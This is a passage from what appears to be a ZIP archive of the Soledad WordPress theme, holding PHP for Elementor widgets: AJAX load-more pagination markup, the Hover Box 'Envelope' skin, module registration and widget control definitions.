							$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

							$button_class = ' penci-ajax-more penci-slajax-more-click';
							if ( 'loadmore' == $paging ):
								wp_enqueue_script( 'penci_slajax_more_posts' );
							endif;
							if ( 'scroll' == $paging ):
								$button_class = ' penci-ajax-more penci-slajax-more-scroll';
								wp_enqueue_script( 'penci_slajax_more_scroll' );
							endif;
							$data_archive_type  = '';
							$data_archive_value = '';
							if ( is_category() ) :
								$category           = get_category( get_query_var( 'cat' ) );
								$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
								$data_archive_type  = 'cat';
								$data_archive_value = $cat_id;
								$opt_cat            = 'category_' . $cat_id;
								$cat_meta           = get_option( $opt_cat );
								$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
								if ( $sidebar_opts == 'no' ):
									$data_template = 'no-sidebar';
                                elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
									$data_template = 'sidebar';
								endif;

                            elseif ( is_tag() ) :
								$tag                = get_queried_object();
								$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
								$data_archive_type  = 'tag';
								$data_archive_value = $tag_id;
                            elseif ( is_day() ) :
								$data_archive_type  = 'day';
								$data_archive_value = get_the_date( 'm|d|Y' );
                            elseif ( is_month() ) :
								$data_archive_type  = 'month';
								$data_archive_value = get_the_date( 'm|d|Y' );
                            elseif ( is_year() ) :
								$data_archive_type  = 'year';
								$data_archive_value = get_the_date( 'm|d|Y' );
                            elseif ( is_search() ) :
								$data_archive_type  = 'search';
								$data_archive_value = get_search_query();
                            elseif ( is_author() ) :

								global $authordata;
								$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

								$data_archive_type  = 'author';
								$data_archive_value = $user_id;
                            elseif ( is_archive() ) :
								$queried_object = get_queried_object();
								$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
								$tax            = get_taxonomy( get_queried_object()->taxonomy );
								$tax_name       = isset( $tax->name ) ? $tax->name : '';

								if ( $term_id && $tax_name ) {
									$data_archive_type  = $tax_name;
									$data_archive_value = $term_id;
								}
							endif;
							?>
                            <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                                <a class="penci-ajax-more-button" href="#" aria-label="More Posts"
									<?php if ( $data_archive_type && $data_archive_value ): ?>
                                        data-archivetype="<?php echo $data_archive_type; ?>"
                                        data-archivevalue="<?php echo $data_archive_value; ?>"
                                        data-arppp="<?php echo $ppp; ?>"
									<?php endif; ?>
                                   data-blockid="<?php echo $settings['blockid']; ?>"
                                   data-query_type="<?php echo $archive_buider_check; ?>"
                                   data-settings="<?php echo $data_settings_ajax; ?>"
                                   data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                                   data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                    <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                            class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                </a>
                            </div>
							<?php
						} elseif ( 'numbers' == $paging ) {
							echo penci_pagination_numbers( $query_smalllist, $paging_align );
						}
						?>

                    </div>
					<?php
				} /* End check if query exists posts */
				if ( $settings['biggrid_ajaxfilter_cat'] || $settings['biggrid_ajaxfilter_tag'] || $settings['biggrid_ajaxfilter_author'] || 'nextprev' == $settings['paging'] ) {
					echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
				}
				?>
            </div>
        </div>
		<?php
		wp_reset_postdata();
	}

	public static function get_setting_attr( $settings ) {
		$attrs = [];
		$args  = [
			'type',
			'dformat',
			'date_pos',
			'column',
			'tab_column',
			'mb_column',
			'imgpos',
			'thumb_size',
			'mthumb_size',
			'post_meta',
			'primary_cat',
			'title_length',
			'excerpt_pos',
			'rmstyle',
			'excerpt_length',
			'nocrop',
			'hide_cat_mobile',
			'hide_meta_mobile',
			'hide_excerpt_mobile',
			'hide_rm_mobile',
			'imgtop_mobile',
			'ver_border',
			'hide_thumb',
			'show_reviewpie',
			'show_formaticon',
			'disable_lazy',
			'nocrop',
			'show_excerpt',
			'show_readmore',
			'show_excerpt',
			'hide_thumb',
		];
		foreach ( $args as $arg ) {
			$attrs[ $arg ] = $settings[ $arg ];
		}

		return $attrs;
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}
}
PK     N\?  ?  =  inc/elementor/modules/penci-hover-box/skins/skin-envelope.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciHoverBox\Skins;

use Elementor\Skin_Base as Elementor_Skin_Base;
use Elementor\Icons_Manager;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class Skin_Envelope extends Elementor_Skin_Base {
	public function get_id() {
		return 'penci-hvb-envelope';
	}

	public function get_title() {
		return __( 'Style 1', 'soledad' );
	}

	public function render() {

		$settings = $this->parent->get_settings();
		
		$this->parent->markup_block_title( $settings, $this );

		if ( $settings['hover_box_event'] ) {
			$hoverBoxEvent = $settings['hover_box_event'];
		} else {
			$hoverBoxEvent = false;
		}

		if ( $settings['box_image_effect'] ) {
			$this->parent->add_render_attribute( 'hover_box', 'class', 'penci-hover-box-img-effect penci-hvb-' . $settings['box_image_effect_select'] );
		}

		$this->parent->add_render_attribute(
			[
				'hover_box' => [
					'id'            => 'penci-hover-box-' . $this->parent->get_id(),
					'class'         => 'penci-hover-box penci-hover-box-skin-envelope',
					'data-settings' => [
						wp_json_encode( array_filter( [
							'box_id'      => 'penci-hover-box-' . $this->parent->get_id(),
							'mouse_event' => $hoverBoxEvent,
						] ) )
					]
				]
			]
		);

		?>
        <div <?php $this->parent->print_render_attribute_string( 'hover_box' ); ?>>

			<?php
			if ( 'custom' == $settings['item_type'] ) {
				$this->parent->box_content();
				$this->box_items();
			} else {
				$this->parent->post_content();
				$this->post_items();
			}
			?>
        </div>

		<?php
	}

	public function box_items() {
		$settings = $this->parent->get_settings_for_display();
		$id       = $this->parent->get_id();

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hover-box-item-wrap' );

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-grid', '' );
		$this->parent->add_render_attribute( 'box-settings', 'class', [ 'penci-hover-box-grid-collapse' ] );

		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hvb-slider-items' );

		$this->parent->add_render_attribute(
			[
				'slider-settings' => [
					'class'        => 'swiper-carousel swiper penci-owl-carousel penci-owl-carousel-slider',
					'data-item'    => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-desktop' => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-tablet'  => isset( $settings['ct_columns_tablet']['size'] ) ? $settings['ct_columns_tablet']['size'] : '2',
					'data-mobile'  => isset( $settings['ct_columns_mobile']['size'] ) ? $settings['ct_columns_mobile']['size'] : '1',
				]
			]
		);

		?>
        <div <?php $this->parent->print_render_attribute_string( 'box-settings' ); ?>>
            <div <?php $this->parent->print_render_attribute_string( 'slider-settings' ); ?>>
                <div class="swiper-wrapper">
					<?php foreach ( $settings['hover_box'] as $index => $item ) :

					$tab_count   = $index + 1;
					$tab_id      = 'penci-hvb-box-' . $tab_count . esc_attr( $id );
					$active_item = $this->parent->activeItem( $settings['hover_box_active_item'], count( $settings['hover_box'] ) );
					if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
					} else {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
					}

					$this->parent->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );

					$title_key  = 'title_' . $index;
					$button_key = 'button_' . $index;
					$this->parent->add_render_attribute( $title_key, 'class', 'penci-hover-box-title-link', true );
					$this->parent->add_link_attributes( $title_key, isset( $item['title_link'] ) ? $item['title_link'] : [] );
					$this->parent->add_link_attributes( $button_key, isset( $item['button_link'] ) ? $item['button_link'] : [] );

					?>
                    <div class="swiper-slide">
                        <div <?php $this->parent->print_render_attribute_string( 'box-item' ); ?>
                                data-id="<?php echo esc_attr( $tab_id ); ?>">

                            <div class="penci-hover-box-description penci-hvb-position-small penci-hvb-position-<?php echo esc_attr( $settings['content_position'] ); ?>">
								<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                                    <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                                       data-tab-index="<?php echo esc_attr( $index ); ?>">
								<span class="penci-hover-box-icon-wrap">
									<?php Icons_Manager::render_icon( $item['selected_icon'], [ 'aria-hidden' => 'true' ] ); ?>
								</span>
                                    </a>
								<?php endif; ?>
								<?php if ( $item['hover_box_sub_title'] && ( 'yes' == $settings['show_sub_title'] ) ) : ?>
                                    <div class="penci-hover-box-sub-title">
										<?php echo wp_kses( $item['hover_box_sub_title'], wp_kses_allowed_html( 'post' ) ); ?>
                                    </div>
								<?php endif; ?>

								<?php if ( $item['hover_box_title'] && ( 'yes' == $settings['show_title'] ) ) : ?>
                                <<?php echo esc_attr( $settings['title_tags'] ); ?> <?php $this->parent->print_render_attribute_string( 'penci-hover-box-title' ); ?>
                                >

								<?php if ( '' !== $item['title_link']['url'] ) : ?>
                                <a <?php $this->parent->print_render_attribute_string( $title_key ); ?>>
									<?php endif; ?>
									<?php echo wp_kses( $item['hover_box_title'], wp_kses_allowed_html( 'post' ) ); ?>
									<?php if ( '' !== $item['title_link']['url'] ) : ?>
                                </a>
							<?php endif; ?>

                            </<?php echo esc_attr( $settings['title_tags'] ); ?>>
							<?php endif; ?>

							<?php if ( $item['hover_box_content'] && ( 'yes' == $settings['show_content'] ) ) : ?>
                                <div class="penci-hover-box-text">
									<?php echo wp_kses_post( $item['hover_box_content'] ); ?>
                                </div>
							<?php endif; ?>

							<?php if ( $item['hover_box_button'] && ( 'yes' == $settings['show_button'] ) ) : ?>
                                <div class="penci-hover-box-button">
                                    <a <?php $this->parent->print_render_attribute_string( $button_key ); ?>>
										<?php echo wp_kses_post( $item['hover_box_button'] ); ?>
                                    </a>
                                </div>
							<?php endif; ?>
                        </div>

                    </div>
                </div>
				<?php endforeach; ?>
            </div>
        </div>

        </div>

		<?php
	}

	public function post_items() {
		$settings = $this->parent->get_settings();
		$id       = $this->parent->get_id();

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hover-box-item-wrap' );

		$this->parent->add_render_attribute( 'box-settings', 'data-penci-hover-box-grid', '' );
		$this->parent->add_render_attribute( 'box-settings', 'class', [ 'penci-hover-box-grid-collapse' ] );

		$this->parent->add_render_attribute( 'box-settings', 'class', 'penci-hvb-slider-items' );

		$this->parent->add_render_attribute(
			[
				'slider-settings' => [
					'class'        => 'swiper-carousel swiper penci-owl-carousel penci-owl-carousel-slider',
					'data-item'    => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-desktop' => isset( $settings['ct_columns']['size'] ) ? $settings['ct_columns']['size'] : '4',
					'data-tablet'  => isset( $settings['ct_columns_tablet']['size'] ) ? $settings['ct_columns_tablet']['size'] : '2',
					'data-mobile'  => isset( $settings['ct_columns_mobile']['size'] ) ? $settings['ct_columns_mobile']['size'] : '1',
				]
			]
		);

		$args = Query_Control::get_query_args( 'posts', $settings );;
		$query_custom = new \WP_Query( $args );
		$post_meta    = $settings['postmeta'] ? $settings['postmeta'] : [];
		$primary_cat  = $settings['primary_cat'];

		?>
        <div <?php $this->parent->print_render_attribute_string( 'box-settings' ); ?>>
            <div <?php $this->parent->print_render_attribute_string( 'slider-settings' ); ?>>
                <div class="swiper-wrapper">
					<?php
					if ( $query_custom->have_posts() ):
						$post_count = 0;
					while ( $query_custom->have_posts() ) :
					$query_custom->the_post();
					$post_count ++;
					
					$tab_id      = 'penci-hvb-box-' . $post_count . esc_attr( $id );
					$active_item = $this->parent->activeItem( $settings['hover_box_active_item'], $query_custom->found_posts );
					if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
					} else {
						$this->parent->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
					}

					$this->parent->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );

					$title_key  = 'title_' . get_the_ID();
					$button_key = 'button_' . get_the_ID();
					$this->parent->add_render_attribute( $title_key, 'class', 'penci-hover-box-title-link', true );
					$this->parent->add_link_attributes( $title_key, isset( $item['title_link'] ) ? $item['title_link'] : [] );
					$this->parent->add_link_attributes( $button_key, isset( $item['button_link'] ) ? $item['button_link'] : [] );

					?>
                    <div class="swiper-slide">
                        <div <?php $this->parent->print_render_attribute_string( 'box-item' ); ?>
                                data-id="<?php echo esc_attr( $tab_id ); ?>">

                            <div class="penci-hover-box-description penci-hvb-position-small penci-hvb-position-<?php echo esc_attr( $settings['content_position'] ); ?>">
								<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                                    <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                                       data-tab-index="<?php echo esc_attr( get_the_ID() ); ?>">
								<span class="penci-hover-box-icon-wrap">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								</span>
                                    </a>
								<?php endif; ?>
								<?php if ( 'yes' == $settings['show_post_meta'] ) : ?>
									<?php if ( ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] ) || ( count( array_intersect( array(
												'author',
												'date',
												'comment',
												'views',
												'reading',
												'excerpt'
											), $post_meta ) ) > 0 ) ) { ?>
                                        <div class="pchvb-meta">
                                            <div class="pcbg-meta-desc">
											<?php if ( in_array( 'cat', $post_meta ) ) : ?>
												<span class="bg-cat-meta">
													<?php penci_category( '', $primary_cat ); ?>
												</span>
											<?php endif; ?>
												<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                    <span class="bg-date-author author-italic author vcard">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
															penci_coauthors_posts_links();
														else: ?>
                                                            <a class="author-url url fn n"
                                                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
														<?php endif; ?>
											</span>
												<?php endif; ?>
												<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                    <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                    <span class="bg-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
												<?php endif; ?>
												<?php
												if ( in_array( 'views', $post_meta ) ) {
													echo '<span>';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php
												$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
												if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                    <span class="bg-readtime"><?php penci_reading_time(); ?></span>
												<?php endif; ?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
                                        </div>
									<?php } ?>
								<?php endif; ?>

								<?php if ( 'yes' == $settings['show_title'] ) : ?>
                                <<?php echo esc_attr( $settings['title_tags'] ); ?>
								<?php $this->parent->print_render_attribute_string( 'penci-hover-box-title' ); ?>>


                                <a href="<?php the_permalink(); ?>">
									<?php the_title(); ?>
                                </a>


                            </<?php echo esc_attr( $settings['title_tags'] ); ?>>
							<?php endif; ?>

							<?php if ( 'yes' == $settings['show_content'] ) : ?>
                                <div class="penci-hover-box-text">
									<?php penci_the_excerpt( $settings['post_content_length'] ); ?>
                                </div>
							<?php endif; ?>

							<?php if ( 'yes' == $settings['show_button'] ) : ?>
                                <div class="penci-hover-box-button">
                                    <a href="<?php the_permalink(); ?>">
										<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                    </a>
                                </div>
							<?php endif; ?>
                        </div>

                    </div>
                </div>
				<?php endwhile;
				endif; ?>
            </div>
        </div>

        </div>

		<?php
	}
}

PK     N\Y.W  W  0  inc/elementor/modules/penci-hover-box/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciHoverBox;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-hover-box';
	}

	public function get_widgets() {
		return array( 'PenciHoverBox' );
	}
}PK     N\    A  inc/elementor/modules/penci-hover-box/widgets/penci-hover-box.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciHoverBox\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Image_Size;
use Elementor\Icons_Manager;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Modules\PenciHoverBox\Skins;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciHoverBox extends Base_Widget {

	public function get_name() {
		return 'penci-hover-box';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Hover Box', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image-rollover';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'fancy', 'effects', 'toggle', 'accordion', 'hover', 'slideshow', 'slider', 'box', 'animated boxs' ];
	}

	public function is_reload_preview_required() {
		return false;
	}

	public function get_style_depends() {
		return [ 'penci-hover-box' ];
	}

	public function get_script_depends() {
		return [ 'penci-hover-box' ];
	}

	protected function register_skins() {
		$this->add_skin( new Skins\Skin_Envelope( $this ) );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_tabs_item',
			[
				'label' => esc_html__( 'Hover Style', 'soledad' ),
			]
		);

		$this->add_control(
			'layout_style',
			[
				'label'     => esc_html__( 'Layout Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'style-1',
				'options'   => [
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
				],
				'condition' => [
					'_skin' => '',
				],
			]
		);

		$this->add_control(
			'item_type',
			[
				'label'   => esc_html__( 'Item Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'custom',
				'options' => [
					'custom' => esc_html__( 'Custom Items', 'soledad' ),
					'query'  => esc_html__( 'Post Query', 'soledad' ),
				],
			]
		);

		$this->end_controls_section();

		$this->register_query_section_controls( false, array( 'item_type' => 'query' ) );

		$this->start_controls_section(
			'section_hover_box_items',
			[
				'label'     => esc_html__( 'Hover Box Items', 'soledad' ),
				'tab'       => Controls_Manager::TAB_CONTENT,
				'condition' => [
					'item_type' => 'custom'
				],
			]
		);


		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'items_tabs_controls' );

		$repeater->start_controls_tab(
			'tab_item_content',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'selected_icon',
			[
				'label'       => esc_html__( 'Icon', 'soledad' ),
				'type'        => Controls_Manager::ICONS,
				'default'     => [
					'value'   => 'fas fa-star',
					'library' => 'fa-solid',
				],
				'skin'        => 'inline',
				'label_block' => false
			]
		);

		$repeater->add_control(
			'hover_box_title',
			[
				'label'       => esc_html__( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'default'     => esc_html__( 'Tab Title', 'soledad' ),
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'hover_box_sub_title',
			[
				'label'       => esc_html__( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'hover_box_button',
			[
				'label'       => esc_html__( 'Button Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => esc_html__( 'Read More', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'button_link',
			[
				'label'     => esc_html__( 'Button Link', 'soledad' ),
				'type'      => Controls_Manager::URL,
				'dynamic'   => [ 'active' => true ],
				'default'   => [ 'url' => '#' ],
				'condition' => [
					'hover_box_button!' => ''
				]
			]
		);

		$repeater->add_control(
			'slide_image',
			[
				'label'   => esc_html__( 'Background Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'dynamic' => [ 'active' => true ],
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'tab_item_content_optional',
			[
				'label' => esc_html__( 'Optional', 'soledad' ),
			]
		);

		$repeater->add_control(
			'title_link',
			[
				'label'         => esc_html__( 'Title Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'default'       => [ 'url' => '' ],
				'show_external' => false,
				'dynamic'       => [ 'active' => true ],
				'condition'     => [
					'hover_box_title!' => ''
				]
			]
		);

		$repeater->add_control(
			'hover_box_content',
			[

				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => [ 'active' => true ],
				'default' => esc_html__( 'Box Content', 'soledad' ),
			]
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'hover_box_content_background',
				'types'          => [ 'classic', 'gradient' ],
				'exclude'        => [ 'image' ],
				'selector'       => '{{WRAPPER}} .penci-hover-box-content {{CURRENT_ITEM}}',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
				'separator'      => 'before',
			]
		);
		$repeater->add_control(
			'ignore_element_notes',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => esc_html__( 'Note: This option will work if the background image is empty.', 'soledad' ),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',

			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'hover_box',
			[
				'label'       => esc_html__( 'Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'separator'   => 'before',
				'default'     => [
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box One', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'far fa-laugh', 'library' => 'fa-regular' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Two', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-cog', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Three', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-dice-d6', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Four', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-ring', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Five', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-adjust', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Six', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-cog', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
				],
				'title_field' => '{{{ elementor.helpers.renderIcon( this, selected_icon, {}, "i", "panel" ) }}} {{{ hover_box_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_layout_hover_box',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_responsive_control(
			'hover_box_min_height',
			[
				'label'     => esc_html__( 'Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 20000,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box' => 'height: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'skin_hover_box_min_height',
			[
				'label'     => esc_html__( 'Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 20000,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box, {{WRAPPER}} .penci-hover-box-item' => 'height: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'_skin' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'hover_box_width',
			[
				'label'     => esc_html__( 'Content Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 1200,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item-wrap' => 'width: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_control(
			'default_content_position',
			[
				'label'     => esc_html__( 'Content Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'center',
				'options'   => [
					''              => esc_html__( 'Default', 'soledad' ),
					'top-left'      => esc_html__( 'Top Left', 'soledad' ),
					'top-center'    => esc_html__( 'Top Center', 'soledad' ),
					'top-right'     => esc_html__( 'Top Right', 'soledad' ),
					'center'        => esc_html__( 'Center', 'soledad' ),
					'center-left'   => esc_html__( 'Center Left', 'soledad' ),
					'center-right'  => esc_html__( 'Center Right', 'soledad' ),
					'bottom-left'   => esc_html__( 'Bottom Left', 'soledad' ),
					'bottom-center' => esc_html__( 'Bottom Center', 'soledad' ),
					'bottom-right'  => esc_html__( 'Bottom Right', 'soledad' ),
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				],
				'separator' => 'before'
			]
		);

		$this->add_control(
			'content_gap',
			[
				'label'     => esc_html__( 'Content Gap', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'medium',
				'options'   => [
					'small'  => esc_html__( 'Small', 'soledad' ),
